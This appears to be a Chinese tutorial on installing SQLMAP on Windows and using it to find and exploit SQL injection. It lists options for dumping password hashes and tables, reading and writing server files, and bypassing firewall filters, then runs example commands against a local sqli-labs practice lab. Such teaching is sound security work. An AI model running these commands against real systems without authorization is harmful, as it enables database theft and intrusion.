Windows下SQLMAP的下載安裝和使用過程
免責(zé)聲明
本文所提供的文字和信息僅供學(xué)習(xí)和研究使用,請(qǐng)讀者自覺遵守法律法規(guī),不得利用本文所提供的信息從事任何違法活動(dòng)。本文不對(duì)讀者的任何違法行為承擔(dān)任何責(zé)任。工具來自網(wǎng)絡(luò),安全性自測(cè),如有侵權(quán)請(qǐng)聯(lián)系刪除。
注意:SQLMAP 這樣的工具在合法的安全測(cè)試和研究環(huán)境之外的使用可能是非法的和不道德的。在實(shí)際應(yīng)用中,應(yīng)該在授權(quán)和合法的情況下使用它來幫助發(fā)現(xiàn)和修復(fù)系統(tǒng)中的安全漏洞,以提高系統(tǒng)的安全性。
1. SQLMAP下載安裝
1.1. 介紹
SQLMAP是一種開源滲透測(cè)試工具,可自動(dòng)執(zhí)行SQL注入缺陷的檢測(cè)和注入過程,并接管數(shù)據(jù)庫(kù)服務(wù)器。它有強(qiáng)大的檢測(cè)引擎,針對(duì)不同類型的數(shù)據(jù)庫(kù)提供多樣的滲透測(cè)試功能選項(xiàng),實(shí)現(xiàn)數(shù)據(jù)庫(kù)識(shí)別、數(shù)據(jù)獲取、訪問DBMS\操作系統(tǒng)甚至通過帶外數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)的命令,以及從數(shù)據(jù)庫(kù)指紋識(shí)別、從數(shù)據(jù)庫(kù)獲取數(shù)據(jù)、 通過帶外連接在操作系統(tǒng)上執(zhí)行命令。
1.2. 支持的數(shù)據(jù)庫(kù)
SQLMAP 支持檢測(cè) MySQL 、 Oracle 、 PostgreSQL 、 MSSQL( Microsoft SQL Sever ) 、 Access ( Microsoft Access )、 IBM DB2 、SQLite、 Firebird、Sybase 和 SAP MaxDB 等
1.3. 支持的注入方式
分別是:布爾盲注、時(shí)間盲注、報(bào)錯(cuò)注入、聯(lián)合查詢、堆疊注入
1.4. 下載安裝
SQLMap的安裝依賴于Python環(huán)境,所以需要事先安裝好Python,若沒有安裝請(qǐng)看在Windows下載、安裝Python和配置環(huán)境(新手、保姆級(jí)教程)-CSDN博客
SQLMAP的官方網(wǎng)站:https://sqlmap.org/
Windos系統(tǒng)下載 zip格式,Linux系統(tǒng)下載 .tar.gz格式。
提前在D盤新建一個(gè)文件夾,重命名最好為英文,下載解壓縮之后進(jìn)入sqlmap的文件夾,在此文件夾中打開控制臺(tái)( 可以在上方地址欄輸入cmd回車快速打開 )
輸入命令python sqlmap.py
或python sqlmap.py -h
檢驗(yàn)是否成功,出現(xiàn)如圖所示界面就代表成功了。
注意:如果報(bào)錯(cuò)就檢查一下環(huán)境變量是否配置成功;如果是沒反應(yīng)到python文件夾查看 python.exe 的名字,如果名字是 python2.exe或python3.exe,則命令就是python3 sqlmap.py
2. SQMAP的命令參數(shù)
2.1. sqlmap基本參數(shù)
這些是sqlmap的基本參數(shù)
-d 指定直接數(shù)據(jù)庫(kù)連接得連接字符串,直接連接到數(shù)據(jù)庫(kù)。 -u 指定URL目標(biāo) -I 從Burp或WebScarab代理得日志中解析目標(biāo) -m 掃描文本文件中給出得多個(gè)目標(biāo),批量掃描 -r 從文本中加載HTTP請(qǐng)求。 用 * 標(biāo)記注入位置 -g 將Google Dork得結(jié)果作為目標(biāo)URLh
這些參數(shù)可用于調(diào)整具體的 SQL 注入測(cè)試
-a 獲取所有信息 -current-user 獲取DBMS當(dāng)前用戶 --current-db 獲取DBMS當(dāng)前數(shù)據(jù)庫(kù) --hostname 獲取DBMS當(dāng)前主機(jī)名 --is-dba 檢測(cè)當(dāng)前用戶是否為管理員用戶 --users 查詢DBMS用戶 --passwords 查詢DBMS用戶密碼hash --dbs 查詢DBMS數(shù)據(jù)庫(kù) --tables 查詢DBMS數(shù)據(jù)庫(kù)中得表 --columns 查詢DBMS數(shù)據(jù)庫(kù)表得列名 --dump 查詢轉(zhuǎn)儲(chǔ)DBMS數(shù)據(jù)庫(kù)表 --dump-all 轉(zhuǎn)儲(chǔ)DBMS所有數(shù)據(jù)庫(kù)表 -D db_name 指定要求枚舉的DBMS數(shù)據(jù)庫(kù)名 -T table_name 指定要枚舉得DBMS表 -C column_name 指定要枚舉得DBMS列 --batch 從不詢問用戶輸入,使用所有默認(rèn)配置
2.2. sqlmap進(jìn)階參數(shù)
--data=DATA 通過POST方式發(fā)送數(shù)據(jù)字符串 --cookie=COOKIE HTTP Cookie頭 LMXCMS演示 --user-agent=AGENT 指定HTTP User-Agent頭 --random-agent 使用隨機(jī)選定得HTTP User-Agent頭 --host=HOST 指定HTTP HOST header --referer=REFERER 指定HTTP Referer header --ignore-proxy 忽略系統(tǒng)默認(rèn)代理配置 --proxy=PROXY 使用代理連接目標(biāo)URL --proxy=" http://127.0.0.1:8080" --delay=DELAY 可以設(shè)定兩個(gè)請(qǐng)求間得延遲 --timeout=TIMEOUT 可以設(shè)定一個(gè)請(qǐng)求超過多久判定為超時(shí) --force-ssl 強(qiáng)制使用SSL/HTTPS --threads=THREADS HTTP(s)最大并發(fā)請(qǐng)求數(shù)(默認(rèn)是1) --dbms=DBMS 強(qiáng)制指定后端DBMS --os=OS 強(qiáng)制指定后端得DBMS操作系統(tǒng) --tamper 使用給定得腳本修改注入數(shù)據(jù)
這些參數(shù)可用于自定義階段檢測(cè)探測(cè)選擇
--level=LEVEL 測(cè)試等級(jí)(1-5, default 1) --risk=RISK 測(cè)試的風(fēng)險(xiǎn)等級(jí)(1-3, default 1) --technique 來指定要使用哪種注入模式,快速掃描
2.4 訪問文件系統(tǒng)
--file-read=文件路徑 從后端的數(shù)據(jù)庫(kù)管理系、統(tǒng)文件系統(tǒng)讀取文件 --file-write=文件路徑 編輯后端的數(shù)據(jù)庫(kù)管理系統(tǒng)、文件系統(tǒng)上的本地文件 --file-dest=文件路徑 后端的數(shù)據(jù)庫(kù)管理系統(tǒng)、寫入文件的絕對(duì)路徑
使用條件
- 知道網(wǎng)站的絕對(duì)路徑
- 高權(quán)限數(shù)據(jù)庫(kù)用戶
- secure_file_priv=''無限制
2.5 tamper繞過
--tamper=base64encode.py --tamper=test.py space2comment.py 用/**/代替空格 apostrophemask.py 用utf8代替引號(hào) equaltolike.py like代替等號(hào) space2dash.py 繞過過濾‘=' 替換空格字符(”),('–‘)后跟一個(gè)破折號(hào)注釋,一個(gè)隨機(jī)字符串和一個(gè)新行('n') greatest.py 繞過過濾'>' ,用GREATEST替換大于號(hào)。 space2hash.py 空格替換為#號(hào),隨機(jī)字符串以及換行符 apostrophenullencode.py 繞過過濾雙引號(hào),替換字符和雙引號(hào)。 halfversionedmorekeywords.py 當(dāng)數(shù)據(jù)庫(kù)為mysql時(shí)繞過防火墻,每個(gè)關(guān)鍵字之前添加mysql版本評(píng)論 space2morehash.py 空格替換為 #號(hào) 以及更多隨機(jī)字符串 換行符 appendnullbyte.py 在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼 ifnull2ifisnull.py 繞過對(duì)IFNULL過濾,替換類似'IFNULL(A,B)'為'IF(ISNULL(A), B, A)' space2mssqlblank.py (mssql)空格替換為其它空符號(hào) base64encode.py 用base64編碼替換 space2mssqlhash.py 替換空格 modsecurityversioned.py 過濾空格,包含完整的查詢版本注釋 space2mysqlblank.py 空格替換其它空白符號(hào)(mysql) between.py 用between替換大于號(hào)(>) space2mysqldash.py 替換空格字符(”)(' – ‘)后跟一個(gè)破折號(hào)注釋一個(gè)新行(' n') multiplespaces.py 圍繞SQL關(guān)鍵字添加多個(gè)空格 space2plus.py 用+替換空格 bluecoat.py 代替空格字符后與一個(gè)有效的隨機(jī)空白字符的SQL語(yǔ)句,然后替換=為like nonrecursivereplacement.py 雙重查詢語(yǔ)句,取代SQL關(guān)鍵字 space2randomblank.py 代替空格字符(“”)從一個(gè)隨機(jī)的空白字符可選字符的有效集 sp_password.py 追加sp_password'從DBMS日志的自動(dòng)模糊處理的有效載荷的末尾 chardoubleencode.py 雙url編碼(不處理以編碼的) unionalltounion.py 替換UNION ALLSELECT UNION SELECT charencode.py url編碼 randomcase.py 隨機(jī)大小寫 unmagicquotes.py 寬字符繞過 GPCaddslashes randomcomments.py 用/**/分割sql關(guān)鍵字 charunicodeencode.py 字符串 unicode 編碼 securesphere.py 追加特制的字符串 versionedmorekeywords.py 注釋繞過 space2comment.py 替換空格字符串(‘‘) 使用注釋‘/**/' halfversionedmorekeywords.py 關(guān)鍵字前加注釋
3. SQLMAP的基本使用
我們以本地搭建的sql-labs靶場(chǎng)網(wǎng)址作為注入點(diǎn)測(cè)試
目標(biāo)注入點(diǎn)是:
http://127.0.0.1/sqli-labs-master/Less-1/
3.1. 判斷是否存在注入
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1"
出現(xiàn)這個(gè)就表示存在漏洞,分別存在布爾注入、報(bào)錯(cuò)注入、時(shí)間注入、union聯(lián)合注入
3.2. 判斷當(dāng)前用戶是否為dba
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --is-dba
3.3. 查看數(shù)據(jù)庫(kù)用戶
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-user
3.4. 查看所有數(shù)據(jù)庫(kù)
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --dbs
3.5. 查看當(dāng)前數(shù)據(jù)庫(kù)名稱
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db
3.6. 查詢當(dāng)前數(shù)據(jù)庫(kù)的表
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫(kù)名 --tables
3.7. 查詢表中的字段名
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫(kù)名 -T 表名 --columns
3.8. 查詢字段下的數(shù)據(jù)
python3 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-1/?id=1" -D 數(shù)據(jù)庫(kù)名 -T 表名 --dump
本人發(fā)布、轉(zhuǎn)載的文章中所涉及的命令、技術(shù)、思路和工具僅供以安全為目的的學(xué)習(xí)交流使用,任何人不得將其用于非法用途及盈利等目的,否則后果自行承擔(dān)!?。。?!
到此這篇關(guān)于SQLMAP的下載安裝和使用(Windows)的文章就介紹到這了,更多相關(guān)SQLMAP下載安裝使用內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
VScode設(shè)置語(yǔ)言為中文以及解決中文注釋亂碼問題
VSCode默認(rèn)是英文語(yǔ)言環(huán)境,習(xí)慣了用中文,下面這篇文章主要給大家介紹了關(guān)于VScode設(shè)置語(yǔ)言為中文以及解決中文注釋亂碼問題的相關(guān)資料,文中通過圖文介紹的非常詳細(xì),需要的朋友可以參考下2023-12-12性能測(cè)試QPS+TPS+事務(wù)基礎(chǔ)知識(shí)分析
本篇文章是性能測(cè)試基礎(chǔ)篇,主要介紹了性能測(cè)試中對(duì)QPS+TPS+事務(wù)的基礎(chǔ)知識(shí)分析,有需要的朋友可以借鑒參考下,希望可以對(duì)廣大讀者有所幫助2021-09-09Web 開發(fā)中遇到的UTF-8編碼的問題總結(jié)
一個(gè)網(wǎng)站如果需要國(guó)際化,就需要將編碼從GB2312轉(zhuǎn)成UTF-8,其中有很多的問題需要注意,如果沒有轉(zhuǎn)換徹底,將會(huì)有很多的編碼問題出現(xiàn)!2010-02-02301重定向代碼合集(iis,asp,php,asp.net,apache)
腳本之家將SEO工作中所需要的301轉(zhuǎn)向代碼進(jìn)行了整理,收藏并分享,以備查閱。2011-02-02vscode擴(kuò)展代碼定位實(shí)現(xiàn)步驟詳解
這篇文章主要為大家介紹了vscode擴(kuò)展代碼定位實(shí)現(xiàn)步驟詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2022-11-11